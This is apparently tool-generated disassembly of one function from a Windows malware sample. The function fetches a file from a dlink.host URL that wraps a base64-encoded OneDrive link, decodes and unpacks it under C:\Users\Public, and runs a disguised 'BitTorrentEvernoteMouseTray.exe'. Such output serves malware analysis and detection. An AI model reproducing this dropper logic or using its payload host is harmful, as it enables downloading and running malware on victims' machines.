Function at 0x1400030f0
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x248]
sub rsp, 0x340
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rdi
mov rax, qword [0x14027dea0]
xor rax, rsp
mov qword [rbp + 0x230], rax
mov rdi, rcx
xor ecx, ecx
call fcn.14002b7b0
xor edx, edx
lea rcx, [rbp - 0x70]
call fcn.140001b80
nop
lea rcx, [rbp - 0x70]
call fcn.14000da74
mov ecx, pe_nt_image_headers64
call fcn.14000cf80
mov qword [rsp + 0x30], rax
xor ebx, ebx
test rax, rax
je 0x140003182
lea rcx, str.CRegisterMonView
mov qword [rsp + 0x20], rcx
lea r9, str.CMainFrame
lea r8, [0x1401d9460]
mov edx, 0x80
mov rcx, rax
call fcn.14002a8b4
jmp 0x140003185
mov rax, rbx
mov rdx, rax
mov rcx, rdi
call fcn.140029c48
lea rcx, [rsp + 0x40]
call fcn.1400275cc
nop
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.1400267b0
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.140029a38
test eax, eax
jne 0x1400031d4
lea rcx, [rsp + 0x40]
call fcn.1400276c0
nop
lea rcx, [rbp - 0x70]
call fcn.140001ce0
xor eax, eax
jmp 0x140003428
xor edx, edx
mov rcx, qword [rdi + 0x40]
call fcn.14000fd28
mov rcx, qword [rdi + 0x40]
mov rcx, qword [rcx + 0x40]
call qword [sym.imp.USER32.dll_UpdateWindow]
movdqa xmm5, xmmword [str.https:__dlink.host_1drv_aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBa0ZQRnBaT2Q2d0FnamFRTXRmUzQ0VUFKWml4P2U9QXZMCRegisterMonDoc]
movdqa xmmword [rbp + 0x1c0], xmm5
movdqa xmm0, xmmword [0x1401d9400]
movdqa xmmword [rbp + 0x1d0], xmm0
movdqa xmm1, xmmword [0x1401d9410]
movdqa xmmword [rbp + 0x1e0], xmm1
movdqa xmm0, xmmword [0x1401d9420]
movdqa xmmword [rbp + 0x1f0], xmm0
movdqa xmm1, xmmword [0x1401d9430]
movdqa xmmword [rbp + 0x200], xmm1
movdqa xmm0, xmmword [0x1401d9440]
movdqa xmmword [rbp + 0x210], xmm0
mov dword [rbp + 0x220], 0x47644456
mov dword [rbp + 0x224], 0x70697a2e
mov byte [rbp + 0x228], 0
mov dword [rbp + 0x1a0], 0x38314235
mov dword [rbp + reloc.OLEAUT32.dll_OleTranslateColor], 0x44413343
mov dword [rbp + 0x1a8], 0x52464338
mov dword [rbp + 0x1ac], 0x39334434
mov byte [rbp + 0x1b0], 0
lea rcx, [rbp + 0x130]
call fcn.1400013b0
nop
mov qword [rbp + 0x120], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x118], rbx
mov byte [rbp + 0x108], 0
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, str.C:UsersPublicen.dat
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, str.C:UsersPublicen.dat
lea rcx, [rbp + 0x108]
call fcn.140001610
nop
mov qword [rbp + reloc.WS2_32.dll_ntohs8], 0xf
mov qword [rbp + 0xf0], rbx
mov byte [rbp + 0xe0], 0
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x1c0]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0xe0]
call fcn.140001610
nop
lea r8, [rbp + 0x108]
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x130]
call fcn.1400018b0
nop
cmp qword [rbp + 0xf8], 0x10
jb 0x14000335b
mov rcx, qword [rbp + 0xe0]
call fcn.14000cfcc
mov qword [rbp + reloc.WS2_32.dll_ntohs8], 0xf
mov qword [rbp + 0xf0], rbx
mov byte [rbp + 0xe0], 0
cmp qword [rbp + 0x120], 0x10
jb 0x14000338a
mov rcx, qword [rbp + 0x108]
call fcn.14000cfcc
lea rcx, [rbp + 0x130]
call fcn.140001100
lea r8, [rbp + 0x1a0]
lea rdx, str.C:UsersPublicde.dat
lea rcx, str.C:UsersPublicen.dat
call fcn.140002da0
lea rdx, str.C:UsersPublicde.dat
lea rcx, str.C:UsersPublic
call fcn.140002e90
lea rdx, str.BitTorrentEvernoteMouseTray.exe
lea rcx, str.C:UsersPublic
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], rbx
lea r9, [0x1401e8959]
lea r8, str.C:UsersPublic
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
lea rcx, [rbp + 0x130]
call fcn.140001490
nop
lea rcx, [rsp + 0x40]
call fcn.1400276c0
nop
lea rcx, [rbp - 0x70]
call fcn.140001ce0
mov eax, 1
mov rcx, qword [rbp + 0x230]
xor rcx, rsp
call fcn.14016c130
lea r11, [rsp + 0x340]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret